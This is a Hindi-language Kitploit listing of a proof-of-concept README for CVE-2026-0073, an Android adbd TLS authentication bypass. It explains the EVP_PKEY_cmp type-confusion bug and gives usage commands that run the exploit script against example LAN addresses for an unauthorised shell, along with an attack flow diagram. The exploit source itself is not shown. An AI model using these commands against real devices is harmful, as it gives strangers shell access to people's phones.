Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-0073-Android-ADBD-bypass-POC — CVE-2026-0073 — EVP_PKEY_cmp प्रकार भ्रम के माध्यम से Android ADB डेमॉन (adbd) TLS प्रमाणीकरण बायपास। EC/Ed25519 कुंजी बेमेल का उपयोग करके WiFi पर अनधिकृत शेल एक्सेस प्राप्त करें। Android 14+ के लिए PoC एक्सप्लॉइट। | Kitploit
उपकरण/GitHubGitHub/xqi1337/cve-2026-0073-android-adbd-bypass-poc
एंड्रॉइड सुरक्षाशोषणवेब एप्लिकेशन शोषणक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगमोबाइल सुरक्षाप्रमाणीकरण
GitHubxqi1337/cve-2026-0073-android-adbd-bypass-poc

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-0073-Android-ADBD-bypass-POC

CVE-2026-0073 — EVP_PKEY_cmp प्रकार भ्रम के माध्यम से Android ADB डेमॉन (adbd) TLS प्रमाणीकरण बायपास। EC/Ed25519 कुंजी बेमेल का उपयोग करके WiFi पर अनधिकृत शेल एक्सेस प्राप्त करें। Android 14+ के लिए PoC एक्सप्लॉइट।

रिपॉजिटरी देखें
15 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-0073 — Android ADBD TLS प्रमाणीकरण बायपास

EVP_PKEY_cmp() प्रकार भ्रम → अनधिकृत ADB शेल

Python 3.10+ CVE-2026-0073 Android License


🔥 अवलोकन

Android के ADB डेमॉन (adbd) में एक गंभीर प्रमाणीकरण बायपास किसी भी स्थानीय नेटवर्क पर मौजूद हमलावर को उपयोगकर्ता प्राधिकरण के बिना लक्ष्य डिवाइस पर पूर्ण शेल प्राप्त करने की अनुमति देता है।

यह भेद्यता daemon/auth.cpp के भीतर adbd_tls_verify_cert() में मौजूद है, जहाँ EVP_PKEY_cmp() का उपयोग बूलियन के रूप में किया गया है। जब संग्रहीत कुंजी RSA हो और प्रस्तुत TLS क्लाइंट प्रमाणपत्र में गैर-RSA कुंजी (EC P-256 या Ed25519) हो, तो EVP_PKEY_cmp() -1 लौटाता है (प्रकार बेमेल), जो C/C++ में सत्य (truthy) होता है, इसलिए authorized = true हो जाता है।

// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) {  // ← BUG: -1 is truthy!
    authorized = true;
}
EVP_PKEY_cmp() रिटर्नअर्थC में सत्य (Truthy)?परिणाम
1कुंजियाँ मेल खाती हैं✅अधिकृत (सही)
0कुंजियाँ भिन्न हैं❌अस्वीकृत (सही)
-1प्रकार बेमेल✅अधिकृत (बग)

⚡ त्वरित शुरुआत

निर्भरताएँ इंस्टॉल करें

pip install cryptography

एक्सप्लॉइट चलाएँ

# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>

# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"

एक विशिष्ट कुंजी प्रकार बाध्य करें

python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519

डिफ़ॉल्ट रूप से, स्क्रिप्ट स्वतः EC P-256 → Ed25519 → EC/TLS 1.2 को तब तक आज़माती है जब तक कोई एक सफल न हो जाए।


🎯 एक्सप्लॉइट प्रवाह

   Attacker                          Target (adbd)
      │                                    │
      │──── TCP connect ──────────────────►│
      │──── CNXN (cleartext) ────────────►│
      │◄─── STLS (TLS upgrade request) ──│
      │──── STLS reply ──────────────────►│
      │                                    │
      │════ TLS 1.3 Handshake ════════════│
      │  (EC P-256 client cert presented)  │
      │  EVP_PKEY_cmp(EC, RSA) → -1       │
      │  -1 is truthy → authorized=true   │
      │════════════════════════════════════│
      │                                    │
      │◄─── CNXN (device info) ──────────│
      │──── OPEN "shell:" ───────────────►│
      │◄─── OKAY ────────────────────────│
      │◄──► WRTE/OKAY (shell I/O) ──────►│
      │                                    │
    [FULL SHELL ACCESS]                    │

📋 पूर्वापेक्षाएँ

आवश्यकताविवरण
डेवलपर विकल्पलक्ष्य डिवाइस पर सक्षम
वायरलेस डिबगिंगसक्षम (या पोर्ट 5555 पर TCP के माध्यम से ADB)
संग्रहीत RSA कुंजीडिवाइस को कम से कम एक बार USB-पेयर किया गया होना चाहिए (/data/misc/adb/adb_keys)
नेटवर्क पहुँचहमलावर को adbd TCP पोर्ट तक पहुँच होनी चाहिए

⚠️ महत्वपूर्ण: RSA कुंजी /data/misc/adb/adb_keys में होनी चाहिए, जो USB डिबगिंग पेयरिंग के माध्यम से भरी जाती है ("Allow USB debugging?" संवाद स्वीकार करके)। वायरलेस डिबगिंग पेयरिंग (adb pair) कुंजियों को एक भिन्न स्थान (adb_known_hosts.pb) में संग्रहीत करती है और इस आवश्यकता को पूरा नहीं करती है।


🛡️ प्रभावित संस्करण

  • Android 14 (AOSP) — ✅ कमज़ोर के रूप में पुष्टि की गई
  • Android 15 (AOSP) — संभवतः कमज़ोर (अनपैच्ड बिल्ड)
  • विक्रेता-विशिष्ट बिल्ड भिन्न हो सकते हैं (Samsung One UI, Pixel, आदि)

पैच स्तर की जाँच कैसे करें

adb shell getprop ro.build.version.security_patch

🧪 परीक्षण वातावरण

निम्नलिखित पर परीक्षण किया गया और कार्यशील पुष्टि की गई:

Kernel:   6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)

🔧 मूल संस्करण पर सुधार

इस फ़ोर्क में कई संवर्द्धन शामिल हैं:

  • ✅ मल्टी-की फ़ॉलबैक — स्वतः EC P-256 → Ed25519 → EC/TLS 1.2 का प्रयास करता है
  • ✅ Ed25519 समर्थन — व्यापक संगतता के लिए वैकल्पिक कुंजी प्रकार
  • ✅ TLS 1.2 फ़ॉलबैक — भिन्न क्लाइंट प्रमाणपत्र प्रवाह (हैंडशेक के दौरान भेजा जाता है बनाम पोस्ट-हैंडशेक)
  • ✅ उन्नत प्रमाणपत्र — उचित X.509 एक्सटेंशन (BasicConstraints, KeyUsage)
  • ✅ Windows संगत — क्रॉस-प्लेटफ़ॉर्म समर्थन के लिए select() के बजाय थ्रेडेड I/O का उपयोग करता है
  • ✅ बढ़े हुए टाइमआउट — धीमे नेटवर्क पर बेहतर विश्वसनीयता
  • ✅ वर्बोज़ डायग्नोस्टिक्स — -v फ़्लैग के साथ विस्तृत प्रोटोकॉल ट्रेस

📁 प्रोजेक्ट संरचना

CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py    # Main exploit script
└── README.md                 # This file

⚠️ अस्वीकरण

यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता।


📚 संदर्भ

  • CVE-2026-0073 — MITRE
  • Android Security Bulletin
  • OpenSSL EVP_PKEY_cmp documentation
  • ADB Protocol Reference

अगर इससे आपके शोध में मदद मिली, तो एक ⭐ दें

टूल डाउनलोड करें